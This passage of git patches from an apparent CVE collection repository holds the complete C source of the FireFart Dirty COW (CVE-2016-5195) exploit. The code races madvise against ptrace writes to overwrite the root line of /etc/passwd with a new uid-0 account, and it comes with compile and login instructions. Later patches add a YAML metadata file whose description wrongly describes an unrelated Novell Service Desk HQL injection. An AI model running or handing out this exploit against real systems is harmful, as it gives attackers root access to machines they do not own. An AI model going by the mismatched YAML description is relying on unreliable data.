will be prompted for the new password when the binary is run. -// The original /etc/passwd file is then backed up to /tmp/passwd.bak -// and overwrites the root account with the generated line. -// After running the exploit you should be able to login with the newly -// created user. -// -// To use this exploit modify the user values according to your needs. -// The default is "firefart". -// -// Original exploit (dirtycow's ptrace_pokedata "pokemon" method): -// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c -// -// Compile with: -// gcc -pthread dirty.c -o dirty -lcrypt -// -// Then run the newly create binary by either doing: -// "./dirty" or "./dirty my-new-password" -// -// Afterwards, you can either "su firefart" or "ssh firefart@..." -// -// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT! -// mv /tmp/passwd.bak /etc/passwd -// -// Exploit adopted by Christian "FireFart" Mehlmauer -// https://firefart.at -// - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -const char *filename = "/etc/passwd"; -const char *backup_filename = "/tmp/passwd.bak"; -const char *salt = "firefart"; - -int f; -void *map; -pid_t pid; -pthread_t pth; -struct stat st; - -struct Userinfo { - char *username; - char *hash; - int user_id; - int group_id; - char *info; - char *home_dir; - char *shell; -}; - -char *generate_password_hash(char *plaintext_pw) { - return crypt(plaintext_pw, salt); -} - -char *generate_passwd_line(struct Userinfo u) { - const char *format = "%s:%s:%d:%d:%s:%s:%s\n"; - int size = snprintf(NULL, 0, format, u.username, u.hash, - u.user_id, u.group_id, u.info, u.home_dir, u.shell); - char *ret = malloc(size + 1); - sprintf(ret, format, u.username, u.hash, u.user_id, - u.group_id, u.info, u.home_dir, u.shell); - return ret; -} - -void *madviseThread(void *arg) { - int i, c = 0; - for(i = 0; i < 200000000; i++) { - c += madvise(map, 100, MADV_DONTNEED); - } - printf("madvise %d\n\n", c); -} - -int copy_file(const char *from, const char *to) { - // check if target file already exists - if(access(to, F_OK) != -1) { - printf("File %s already exists! Please delete it and run again\n", - to); - return -1; - } - - char ch; - FILE *source, *target; - - source = fopen(from, "r"); - if(source == NULL) { - return -1; - } - target = fopen(to, "w"); - if(target == NULL) { - fclose(source); - return -1; - } - - while((ch = fgetc(source)) != EOF) { - fputc(ch, target); - } - - printf("%s successfully backed up to %s\n", - from, to); - - fclose(source); - fclose(target); - - return 0; -} - -int main(int argc, char *argv[]) -{ - // backup file - int ret = copy_file(filename, backup_filename); - if (ret != 0) { - exit(ret); - } - - struct Userinfo user; - // set values, change as needed - user.username = "firefart"; - user.user_id = 0; - user.group_id = 0; - user.info = "pwned"; - user.home_dir = "/root"; - user.shell = "/bin/bash"; - - char *plaintext_pw; - - if (argc >= 2) { - plaintext_pw = argv[1]; - printf("Please enter the new password: %s\n", plaintext_pw); - } else { - plaintext_pw = getpass("Please enter the new password: "); - } - - user.hash = generate_password_hash(plaintext_pw); - char *complete_passwd_line = generate_passwd_line(user); - printf("Complete line:\n%s\n", complete_passwd_line); - - f = open(filename, O_RDONLY); - fstat(f, &st); - map = mmap(NULL, - st.st_size + sizeof(long), - PROT_READ, - MAP_PRIVATE, - f, - 0); - printf("mmap: %lx\n",(unsigned long)map); - pid = fork(); - if(pid) { - waitpid(pid, NULL, 0); - int u, i, o, c = 0; - int l=strlen(complete_passwd_line); - for(i = 0; i < 10000/l; i++) { - for(o = 0; o < l; o++) { - for(u = 0; u < 10000; u++) { - c += ptrace(PTRACE_POKETEXT, - pid, - map + o, - *((long*)(complete_passwd_line + o))); - } - } - } - printf("ptrace %d\n",c); - } - else { - pthread_create(&pth, - NULL, - madviseThread, - NULL); - ptrace(PTRACE_TRACEME); - kill(getpid(), SIGSTOP); - pthread_join(pth,NULL); - } - - printf("Done! Check %s to see if the new user was created.\n", filename); - printf("You can log in with the username '%s' and the password '%s'.\n\n", - user.username, plaintext_pw); - printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n", - backup_filename, filename); - return 0; +// +// This exploit uses the pokemon exploit of the dirtycow vulnerability +// as a base and automatically generates a new passwd line. +// The user will be prompted for the new password when the binary is run. +// The original /etc/passwd file is then backed up to /tmp/passwd.bak +// and overwrites the root account with the generated line. +// After running the exploit you should be able to login with the newly +// created user. +// +// To use this exploit modify the user values according to your needs. +// The default is "firefart". +// +// Original exploit (dirtycow's ptrace_pokedata "pokemon" method): +// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c +// +// Compile with: +// gcc -pthread dirty.c -o dirty -lcrypt +// +// Then run the newly create binary by either doing: +// "./dirty" or "./dirty my-new-password" +// +// Afterwards, you can either "su firefart" or "ssh firefart@..." +// +// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT! +// mv /tmp/passwd.bak /etc/passwd +// +// Exploit adopted by Christian "FireFart" Mehlmauer +// https://firefart.at +// + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +const char *filename = "/etc/passwd"; +const char *backup_filename = "/tmp/passwd.bak"; +const char *salt = "firefart"; + +int f; +void *map; +pid_t pid; +pthread_t pth; +struct stat st; + +struct Userinfo { + char *username; + char *hash; + int user_id; + int group_id; + char *info; + char *home_dir; + char *shell; +}; + +char *generate_password_hash(char *plaintext_pw) { + return crypt(plaintext_pw, salt); +} + +char *generate_passwd_line(struct Userinfo u) { + const char *format = "%s:%s:%d:%d:%s:%s:%s\n"; + int size = snprintf(NULL, 0, format, u.username, u.hash, + u.user_id, u.group_id, u.info, u.home_dir, u.shell); + char *ret = malloc(size + 1); + sprintf(ret, format, u.username, u.hash, u.user_id, + u.group_id, u.info, u.home_dir, u.shell); + return ret; +} + +void *madviseThread(void *arg) { + int i, c = 0; + for(i = 0; i < 200000000; i++) { + c += madvise(map, 100, MADV_DONTNEED); + } + printf("madvise %d\n\n", c); +} + +int copy_file(const char *from, const char *to) { + // check if target file already exists + if(access(to, F_OK) != -1) { + printf("File %s already exists! Please delete it and run again\n", + to); + return -1; + } + + char ch; + FILE *source, *target; + + source = fopen(from, "r"); + if(source == NULL) { + return -1; + } + target = fopen(to, "w"); + if(target == NULL) { + fclose(source); + return -1; + } + + while((ch = fgetc(source)) != EOF) { + fputc(ch, target); + } + + printf("%s successfully backed up to %s\n", + from, to); + + fclose(source); + fclose(target); + + return 0; +} + +int main(int argc, char *argv[]) +{ + // backup file + int ret = copy_file(filename, backup_filename); + if (ret != 0) { + exit(ret); + } + + struct Userinfo user; + // set values, change as needed + user.username = "firefart"; + user.user_id = 0; + user.group_id = 0; + user.info = "pwned"; + user.home_dir = "/root"; + user.shell = "/bin/bash"; + + char *plaintext_pw; + + if (argc >= 2) { + plaintext_pw = argv[1]; + printf("Please enter the new password: %s\n", plaintext_pw); + } else { + plaintext_pw = getpass("Please enter the new password: "); + } + + user.hash = generate_password_hash(plaintext_pw); + char *complete_passwd_line = generate_passwd_line(user); + printf("Complete line:\n%s\n", complete_passwd_line); + + f = open(filename, O_RDONLY); + fstat(f, &st); + map = mmap(NULL, + st.st_size + sizeof(long), + PROT_READ, + MAP_PRIVATE, + f, + 0); + printf("mmap: %lx\n",(unsigned long)map); + pid = fork(); + if(pid) { + waitpid(pid, NULL, 0); + int u, i, o, c = 0; + int l=strlen(complete_passwd_line); + for(i = 0; i < 10000/l; i++) { + for(o = 0; o < l; o++) { + for(u = 0; u < 10000; u++) { + c += ptrace(PTRACE_POKETEXT, + pid, + map + o, + *((long*)(complete_passwd_line + o))); + } + } + } + printf("ptrace %d\n",c); + } + else { + pthread_create(&pth, + NULL, + madviseThread, + NULL); + ptrace(PTRACE_TRACEME); + kill(getpid(), SIGSTOP); + pthread_join(pth,NULL); + } + + printf("Done! Check %s to see if the new user was created.\n", filename); + printf("You can log in with the username '%s' and the password '%s'.\n\n", + user.username, plaintext_pw); + printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n", + backup_filename, filename); + return 0; } \ No newline at end of file diff --git a/cve/linux-kernel/2016/README.md b/cve/linux-kernel/2016/CVE-2016-5195/README.md similarity index 100% rename from cve/linux-kernel/2016/README.md rename to cve/linux-kernel/2016/CVE-2016-5195/README.md diff --git a/cve/linux-kernel/2016/yaml/CVE-2016-5195.yaml b/cve/linux-kernel/2016/yaml/CVE-2016-5195.yaml new file mode 100644 index 00000000..3dc5d87e --- /dev/null +++ b/cve/linux-kernel/2016/yaml/CVE-2016-5195.yaml @@ -0,0 +1,18 @@ +id: CVE-2016-5195 +source: https://github.com/firefart/dirtycow +info: + name: 内核竞态条件漏洞 + severity: high + description: | + LiveTime/WebObjects/LiveTime.woa/wa/DownloadAction/downloadFile in Micro Focus Novell Service Desk before 7.2 allows remote authenticated users to conduct Hibernate Query Language (HQL) injection attacks and obtain sensitive information via the entityName parameter. + scope-of-influence: + Every Linux version, including Android, desktop, and server versions + reference: + - http://fortiguard.com/advisory/FG-IR-16-063 + - http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 6.5 + cve-id: CVE-2016-5195 + cwe-id: CWE-362 + cnvd-id: None -- Gitee From d73f13333f1135b2d54caaeb0f140dbd8e86eea9 Mon Sep 17 00:00:00 2001 From: mxz <3010166936@qq.com> Date: Fri, 17 Mar 2023 10:45:07 +0800 Subject: [PATCH 21/23] add yaml tag --- cve/linux-kernel/2016/yaml/CVE-2016-5195.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/cve/linux-kernel/2016/yaml/CVE-2016-5195.yaml b/cve/linux-kernel/2016/yaml/CVE-2016-5195.yaml index 3dc5d87e..6241856c 100644 --- a/cve/linux-kernel/2016/yaml/CVE-2016-5195.yaml +++ b/cve/linux-kernel/2016/yaml/CVE-2016-5195.yaml @@ -16,3 +16,4 @@ info: cve-id: CVE-2016-5195 cwe-id: CWE-362 cnvd-id: None + tags: 内核竞态条件 -- Gitee From 02cde100fbfc1334dc9e72e623d0ae168eb7ab37 Mon Sep 17 00:00:00 2001 From: mxz <3010166936@qq.com> Date: Fri, 17 Mar 2023 10:57:10 +0800 Subject: [PATCH 22/23] fix --- cve/linux-kernel/2016/yaml/CVE-2016-5195.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/cve/linux-kernel/2016/yaml/CVE-2016-5195.yaml b/cve/linux-kernel/2016/yaml/CVE-2016-5195.yaml index 6241856c..6cd39ff3 100644 --- a/cve/linux-kernel/2016/yaml/CVE-2016-5195.yaml +++ b/cve/linux-kernel/2016/yaml/CVE-2016-5195.yaml @@ -1,18 +1,18 @@ id: CVE-2016-5195 source: https://github.com/firefart/dirtycow info: - name: 内核竞态条件漏洞 + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 severity: high description: | LiveTime/WebObjects/LiveTime.woa/wa/DownloadAction/downloadFile in Micro Focus Novell Service Desk before 7.2 allows remote authenticated users to conduct Hibernate Query Language (HQL) injection attacks and obtain sensitive information via the entityName parameter. scope-of-influence: - Every Linux version, including Android, desktop, and server versions + Linux kernel>2.6.22 (released in 2007)的所有Linux系统 reference: - http://fortiguard.com/advisory/FG-IR-16-063 - http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 classification: cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 6.5 + cvss-score: 7.8 cve-id: CVE-2016-5195 cwe-id: CWE-362 cnvd-id: None -- Gitee From 6eede2fcaa780d9b84e4b82c2570f1fb2f98408f Mon Sep 17 00:00:00 2001 From: mxz <3010166936@qq.com> Date: Fri, 17 Mar 2023 16:17:51 +0800 Subject: [PATCH 23/23] =?UTF-8?q?fix=20=20linux=20kernel=202.x=E2=89=A4Lin?= =?UTF-8?q?ux=20Kernel<4.8.3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/linux-kernel/2016/yaml/CVE-2016-5195.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cve/linux-kernel/2016/yaml/CVE-2016-5195.yaml b/cve/linux-kernel/2016/yaml/CVE-2016-5195.yaml index 6cd39ff3..efe2aaa1 100644 --- a/cve/linux-kernel/2016/yaml/CVE-2016-5195.yaml +++ b/cve/linux-kernel/2016/yaml/CVE-2016-5195.yaml @@ -6,7 +6,7 @@ info: description: | LiveTime/WebObjects/LiveTime.woa/wa/DownloadAction/downloadFile in Micro Focus Novell Service Desk before 7.2 allows remote authenticated users to conduct Hibernate Query Language (HQL) injection attacks and obtain sensitive information via the entityName parameter. scope-of-influence: - Linux kernel>2.6.22 (released in 2007)的所有Linux系统 + 2.x≤Linux Kernel<4.8.3 reference: - http://fortiguard.com/advisory/FG-IR-16-063 - http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 -- Gitee